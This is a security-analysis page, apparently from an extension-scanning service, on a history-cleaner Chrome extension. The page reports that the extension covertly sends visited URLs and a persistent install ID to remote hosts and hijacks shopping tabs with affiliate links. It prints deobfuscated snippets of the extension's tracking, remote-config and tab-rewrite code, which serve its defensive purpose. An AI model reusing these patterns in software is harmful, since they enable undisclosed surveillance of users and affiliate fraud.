Is Cleaner History Browser safe?

Medium risk

Cleaner History Browser reports every visited URL to its servers and opens affiliate links in hidden tabs on shopping pages.

Despite being described as a history cleaner, a content script on all http/https pages passes each visited URL to the background, which fetches a retailer list from ceresin.xyz along with the extension id and a persistent random ID. When a shopping page matches, the product URL is sent to api.joinsafedeal.com to get an affiliate link, which is opened in a hidden tab, and it can also redirect the user's own tab or rewrite existing affiliate parameters.

Browser History Cleanerv1.7.1Chrome Web Store
56Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

History cleaner reports every page address to its worker and remote hosts

Code analysis shows a script on all http/https pages reports each address to the worker, which sends an install ID to ceresin.xyz and product URLs to api.joinsafedeal.com.

No disclosure found in the manifest.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You load or navigate within any web page.

The extension did this

The extension reports the page address to its background worker.

Product pages on listed retailers are then posted to api.joinsafedeal.com.

The code that does this

Content script that reports every address

Readable version

Same code from the deobfuscated copy

contenta42.js
(async () => {  try {    let a = browserWindow().location.href;    shutafExports.send(a), onHrefChange(a => {      shutafExports.send(a)    })  } catch (b) {}})()
What leaves the browser
  • Product page address
    https://www.aliexpress.com/item/1005006123456789.html

    The full address of a shop page you view is posted to a third party.

  • Persistent install ID
    3f9c1a7e-5b24-4d8e-9a61-c2e07b4d1f58

    A random ID stored in the extension lets requests be linked over time.

  • Extension ID
    ilghdkjehljecjkhbllonjgkbkccmhpl

    Identifies which extension is making the request.

Destinations
    • ceresin.xyz

    Receives extension ID, version marker and persistent install ID as a base64 query value.

    • api.joinsafedeal.com

    Receives product page URLs at /links; error logs may carry page URLs.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

History cleaner fetches a shop list and opens affiliate links in background tabs

Code analysis shows this history cleaner fetches a retailer list from ceresin.xyz and, on matching shop pages, opens affiliate links in a background tab or rewrites the tab URL.

The manifest does not mention this.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You open a product page on a retailer that appears in the remote list.

The extension did this

The extension opens an affiliate link in a background tab or changes the address of your tab.

The decision is driven by a list fetched from ceresin.xyz.

The code that does this

Remote configuration fetch

Readable version

ShutafRemotesService, reformatted

js/background.js
class ShutafRemotesService {  static async fetch() {    let cached = cache.get(NEWS_URL);   // NEWS_URL = "https://ceresin.xyz/api/news"    if (cached) return cached;    let uid = await getOrCreateUid();   // storage key "jlib-uid-secret"    let p = "p=" + encodeURIComponent(btoa(JSON.stringify({ id: chrome.runtime.id, v: "42", uid: uid })));    let config = await getFetchJson(NEWS_URL + "?" + p);    cache.set(NEWS_URL, config);    return config;  }}
The code that does this

Tab rewrite that replaces another affiliate tag

Readable version

Same listener, reformatted

js/background.js
chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => {  let url = tab.url;  let cfg = await decodingNewsRemotesService.fetch();   // GET https://ceresin.xyz/api/newsdec  if (cfg.News !== undefined || cfg.decodingOtherInfinite === undefined) return;  let ownId = cfg.decodingId[0];  let itemPages = cfg.decodingSites.urls.map(u => u.slice(6, -1) + "item");  let prefix = cfg.decodingLanguage;  if (itemPages.some(s => url.includes(s)) && !url.match(ownId) && url.includes("aff_fcid")) {    chrome.tabs.update(tabId, { url: prefix + url.split("?")[0] });  }})
Values sent to the remote config host
  • Extension ID
    ilghdkjehljecjkhbllonjgkbkccmhpl

    Tells the server which install is asking.

  • Persistent install ID
    3f9c1a7e-5b24-4d8e-9a61-c2e07b4d1f58

    A random ID kept in storage lets requests be linked over time.

  • Version marker
    42

    A fixed or manifest version value sent with each request.

Hosts involved
    • ceresin.xyz

    Serves the retailer list and decoding settings that steer the behaviour.

    • api.joinsafedeal.com

    Receives product URLs at /links and returns affiliate links.

When this fires

Every 4 hours

Remote configuration is cached for four hours, then fetched again on the next navigation.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.7.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • Clear your browsing history, cache and cookies

    browsingData

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Act on the current tab, but only after you click the extension

    activeTab

  • Run its own code inside the pages you visit

    scripting

  • See the address and title of every tab you have open

    tabs

  • See every page you navigate to, as you navigate to it

    webNavigation

Where it sends data

Destinations our analysis observed Cleaner History Browser contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.joinsafedeal.com

    Cleaner History Browser sends data to api.joinsafedeal.com. 4 other extensions we have analysed send data here.

  • ceresin.xyz

    Cleaner History Browser sends data to ceresin.xyz. No other extension we have analysed sends data here.

Updated 15 October 2026ilghdkjehljecjkhbllonjgkbkccmhpl